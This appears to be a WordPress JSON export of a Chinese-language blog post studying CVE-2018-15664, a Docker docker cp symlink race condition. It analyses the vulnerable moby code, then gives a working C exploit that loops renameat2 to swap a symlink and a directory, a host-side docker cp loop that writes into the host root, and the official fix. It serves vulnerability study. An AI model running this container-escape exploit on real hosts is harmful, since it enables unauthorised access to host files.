{"id":421,"date":"2023-03-20T20:28:30","date_gmt":"2023-03-20T12:28:30","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=421"},"modified":"2023-07-04T18:35:26","modified_gmt":"2023-07-04T10:35:26","slug":"cve-2018-15664%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=421","title":{"rendered":"CVE-2018-15664\u5b66\u4e60"},"content":{"rendered":"<p><!--more--><\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<p>CVE-2018-15664\u662f\u4e00\u4e2aDocker\u6f0f\u6d1e\uff0c\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u901a\u8fc7\u6761\u4ef6\u7ade\u4e89\u653b\u51fb\u8bbf\u95ee\u5bbf\u4e3b\u7cfb\u7edf\u7684\u76ee\u5f55\u3002<\/p>\n<p>Docker\u5728\u5bb9\u5668\u548c\u5bbf\u4e3b\u4e4b\u95f4\u590d\u5236\u6587\u4ef6\u7684\u65f6\u5019\uff0c\u4f1a\u5148\u68c0\u67e5\u5bb9\u5668\u4e2d\u7684\u8def\u5f84\uff08\u6e90\u8def\u5f84\u6216\u76ee\u6807\u8def\u5f84\uff09\u3002\u5982\u679c\u8def\u5f84\u662f\u4e00\u4e2a\u7b26\u53f7\u94fe\u63a5\uff0c\u5c31\u4f1a\u66ff\u6362\u6210\u5b83\u6307\u5411\u7684\u5bb9\u5668\u4e2d\u7684\u8def\u5f84[1.1]\uff1a<\/p>\n<pre>func (daemon *Daemon) containerExtractToDir(container *container.Container, path string, copyUIDGID, noOverwriteDirNonDir bool, content io.Reader) (err error) {\r\n    ......\r\n    \/\/ The destination path needs to be resolved to a host path, with all\r\n    \/\/ symbolic links followed in the scope of the container's rootfs. Note\r\n    \/\/ that we do not use `container.ResolvePath(path)` here because we need\r\n    \/\/ to also evaluate the last path element if it is a symlink. This is so\r\n    \/\/ that you can extract an archive to a symlink that points to a directory.\r\n\r\n    \/\/ Consider the given path as an absolute path in the container.\r\n    absPath := archive.PreserveTrailingDotOrSeparator(\r\n        driver.Join(string(driver.Separator()), path),\r\n        path,\r\n        driver.Separator())\r\n\r\n    \/\/ This will evaluate the last path element if it is a symlink.\r\n    resolvedPath, err := container.GetResourcePath(absPath)\r\n    ......\r\n\r\n    if err := extractArchive(driver, content, resolvedPath, options); err != nil {\r\n        return err\r\n    }\r\n\r\n    daemon.LogContainerEvent(container, \"extract-to-dir\")\r\n\r\n    return nil\r\n}\r\n<\/pre>\n<p>\u5728\u590d\u5236\u7684\u8fc7\u7a0b\u4e2d\uff0cDocker\u4f1achroot\u5230\u76ee\u6807\u8def\u5f84\uff0c\u518d\u89e3\u5305\u6587\u4ef6[1.2]\uff1a<\/p>\n<pre>func untar() {\r\n    ......\r\n    if err := chroot(flag.Arg(0)); err != nil {\r\n        fatal(err)\r\n    }\r\n    if err := archive.Unpack(os.Stdin, \"\/\", options); err != nil {\r\n        fatal(err)\r\n    }\r\n    ......\r\n}\r\n<\/pre>\n<p>Docker\u662f\u76f4\u63a5chroot\u5230\u76ee\u6807\u8def\u5f84\u7684\uff0c\u800c\u4e0d\u662fchroot\u5230\u5bb9\u5668\u6839\u76ee\u5f55\uff0c\u56e0\u6b64\u5bb9\u5668\u4e2d\u7684\u7b26\u53f7\u94fe\u63a5\u53ef\u4ee5\u6307\u5411\u5bbf\u4e3b\u4e2d\u7684\u8def\u5f84\u3002\u5982\u679c\u8def\u5f84\u5728\u68c0\u67e5\u9636\u6bb5\u662f\u4e00\u4e2a\u666e\u901a\u76ee\u5f55\uff0c\u800c\u5728chroot\u4e4b\u524d\u53d8\u6210\u4e86\u4e00\u4e2a\u7b26\u53f7\u94fe\u63a5\uff0c\u90a3\u4e48\u5f53Docker\u4ece\u5bb9\u5668\u590d\u5236\u6587\u4ef6\u5230\u5bbf\u4e3b\u65f6\uff0c\u5c31\u53ef\u4ee5\u590d\u5236\u7b26\u53f7\u94fe\u63a5\u6307\u5411\u7684\u5bbf\u4e3b\u6587\u4ef6\uff1b\u4ece\u5bbf\u4e3b\u590d\u5236\u6587\u4ef6\u5230\u5bb9\u5668\u65f6\uff0c\u4e5f\u53ef\u4ee5\u590d\u5236\u5230\u7b26\u53f7\u94fe\u63a5\u6307\u5411\u7684\u5bbf\u4e3b\u8def\u5f84\u3002<\/p>\n<h4>\u6f0f\u6d1e\u590d\u73b0<\/h4>\n<p>\u7cfb\u7edf\uff1aUbuntu 18.04<br \/>\nDocker\uff1a18.06.0<\/p>\n<p>\u521b\u5efa\u4e00\u4e2a\u5bb9\u5668\uff1a<\/p>\n<pre>sudo docker run --name ubuntu -it ubuntu:18.04 bash\r\n<\/pre>\n<p>\u5728\u5bb9\u5668\u4e2d\u7f16\u8bd1\u5e76\u8fd0\u884cexp\uff1a<\/p>\n<pre>#include &lt;fcntl.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;sys\/stat.h&gt;\r\n#include &lt;sys\/syscall.h&gt;\r\n\r\nint main()\r\n{\r\n    char *testsymlink = \"\/testsymlink\";\r\n    char *testdir = \"\/testdir\";\r\n\r\n    symlink(\"\/\", testsymlink);\r\n    mkdir(testdir, 0755);\r\n\r\n    while (1)\r\n        syscall(__NR_renameat2, AT_FDCWD, testsymlink, AT_FDCWD, testdir, 2);\r\n    return 0;\r\n}\r\n<\/pre>\n<p>\u4e0a\u8ff0exp\u4f1a\u521b\u5efa\u4e00\u4e2a\/testdir\u76ee\u5f55\u548c\u4e00\u4e2a\u6307\u5411\u6839\u76ee\u5f55\u7684\u7b26\u53f7\u94fe\u63a5\/testsymlink\u3002\u63a5\u4e0b\u6765\u4f1a\u4e00\u76f4\u5faa\u73af\u4ea4\u6362\u7b26\u53f7\u94fe\u63a5\u548c\u76ee\u5f55\u3002<br \/>\n\u56de\u5230\u5bbf\u4e3b\uff0c\u5728\u5f53\u524d\u76ee\u5f55\uff08$HOME\uff09\u4e0b\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6testfile\uff0c\u5185\u5bb9\u4e3a\u201c123\u201d\u3002\u7136\u540e\u4e00\u76f4\u5faa\u73af\u6267\u884cdocker cp\u5e76\u8bfb\u53d6\u5bbf\u4e3b\u6839\u76ee\u5f55\u4e0b\u7684testfile\u6587\u4ef6\uff1a<\/p>\n<pre>while true; do\r\n    sudo docker cp .\/testfile ubuntu:\/testdir\/testfile &amp;&amp; cat \/testfile &amp;&amp; break\r\ndone\r\n<\/pre>\n<p>\u6bcf\u6b21\u7684\u590d\u5236\u64cd\u4f5c\u53ef\u80fd\u4f1a\u9047\u5230\u4ee5\u4e0b\u51e0\u79cd\u60c5\u51b5\uff1a<\/p>\n<p>1. \u68c0\u67e5\u8def\u5f84\u65f6\/testdir\u662f\u7b26\u53f7\u94fe\u63a5\uff0c\u89e3\u6790\u4e3a\u5bb9\u5668\u6839\u76ee\u5f55\uff0c\u6587\u4ef6\u4f1a\u88ab\u590d\u5236\u5230\u5bb9\u5668\u6839\u76ee\u5f55\u4e2d\uff1b<br \/>\n2. \u68c0\u67e5\u8def\u5f84\u65f6\u4ee5\u53ca\u590d\u5236\u65f6\/testdir\u90fd\u662f\u666e\u901a\u76ee\u5f55\uff0c\u6587\u4ef6\u4f1a\u88ab\u76f4\u63a5\u590d\u5236\u5230\/testdir\u76ee\u5f55\u4e2d\uff1b<br \/>\n3. \u68c0\u67e5\u8def\u5f84\u65f6\/testdir\u662f\u666e\u901a\u76ee\u5f55\uff0c\u590d\u5236\u65f6\u662f\u7b26\u53f7\u94fe\u63a5\uff0c\u89e3\u6790\u4e3a\u5bbf\u4e3b\u6839\u76ee\u5f55\uff0c\u6587\u4ef6\u4f1a\u88ab\u590d\u5236\u5230\u5bbf\u4e3b\u6839\u76ee\u5f55\u4e2d\u3002<\/p>\n<p>\u539f\u672c\u5bbf\u4e3b\u7684\u6839\u76ee\u5f55\u4e0b\u9762\u662f\u6ca1\u6709\u8fd9\u4e2a\u6587\u4ef6\u7684\uff0c\u6240\u4ee5\u4f1a\u4e00\u76f4\u5faa\u73af\u5e76\u62a5\u9519\uff0c\u800c\u76f4\u5230\u5bb9\u5668\u4e2d\u7684\/testdir\u6307\u5411\u4e86\u5bbf\u4e3b\u7684\u6839\u76ee\u5f55\u800c\u975e\u5bb9\u5668\u5185\u7684\u6839\u76ee\u5f55\u65f6\uff0c\u624d\u4f1a\u5c06\u6587\u4ef6\u590d\u5236\u5230\u5bbf\u4e3b\u6839\u76ee\u5f55\u7684\u4f4d\u7f6e\uff0c\u4f7f\u5f97\u8fd9\u4e2a\u6587\u4ef6\u53ef\u4ee5\u88ab\u8bfb\u53d6\u5230\uff0c\u5e76\u7ed3\u675f\u5faa\u73af\u3002<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-422\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/15664_writehost.png\" alt=\"\" width=\"1506\" height=\"718\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/15664_writehost.png 1506w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/15664_writehost-300x143.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/15664_writehost-1024x488.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/15664_writehost-768x366.png 768w\" sizes=\"auto, (max-width: 1506px) 100vw, 1506px\" \/><\/p>\n<h4>\u5b98\u65b9\u4fee\u590d<\/h4>\n<p>\u5728\u590d\u5236\u4e4b\u524d\uff0cDocker\u4f1a\u5148chroot\u5230\u5bb9\u5668\u6839\u76ee\u5f55\uff0c\u8fd9\u6837\u7b26\u53f7\u94fe\u63a5\u5c31\u53ea\u80fd\u6307\u5411\u5bb9\u5668\u4e2d\u7684\u8def\u5f84\uff0c\u800c\u5bbf\u4e3b\u7684\u8def\u5f84\u5219\u4e0d\u4f1a\u88ab\u8bbf\u95ee\u5230[3.1]\u3002<\/p>\n<pre>func untar() {\r\n    ......\r\n    dst := flag.Arg(0)\r\n    var root string\r\n    if len(flag.Args()) &gt; 1 {\r\n        root = flag.Arg(1)\r\n    }\r\n\r\n    if root == \"\" {\r\n        root = dst\r\n    }\r\n\r\n    if err := chroot(root); err != nil {\r\n        fatal(err)\r\n    }\r\n    ......\r\n}\r\n<\/pre>\n<h4>\u53c2\u8003<\/h4>\n<p>[1.1] <a href=\"https:\/\/github.com\/moby\/moby\/blob\/v18.06.0-ce\/daemon\/archive.go#L265\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/moby\/moby\/blob\/v18.06.0-ce\/daemon\/archive.go#L265<\/a><br \/>\n[1.2] <a href=\"https:\/\/github.com\/moby\/moby\/blob\/v18.06.0-ce\/pkg\/chrootarchive\/archive_unix.go#L22\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/moby\/moby\/blob\/v18.06.0-ce\/pkg\/chrootarchive\/archive_unix.go#L22<\/a><br \/>\n[2.1] <a href=\"https:\/\/bugzilla.suse.com\/show_bug.cgi?id=1096726\" target=\"_blank\" rel=\"noopener\">https:\/\/bugzilla.suse.com\/show_bug.cgi?id=1096726<\/a><br \/>\n[2.2] <a href=\"https:\/\/bbs.kanxue.com\/thread-272962.htm\" target=\"_blank\" rel=\"noopener\">https:\/\/bbs.kanxue.com\/thread-272962.htm<\/a><br \/>\n[3.1] <a href=\"https:\/\/github.com\/moby\/moby\/pull\/39292\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/moby\/moby\/pull\/39292<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[16,6],"tags":[],"class_list":["post-421","post","type-post","status-publish","format-standard","hentry","category-16","category-6"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"h4ckm310n","author_link":"https:\/\/h4ckm310n.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":null,"_links":{"self":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/421","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=421"}],"version-history":[{"count":3,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/421\/revisions"}],"predecessor-version":[{"id":516,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/421\/revisions\/516"}],"wp:attachment":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=421"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=421"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=421"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}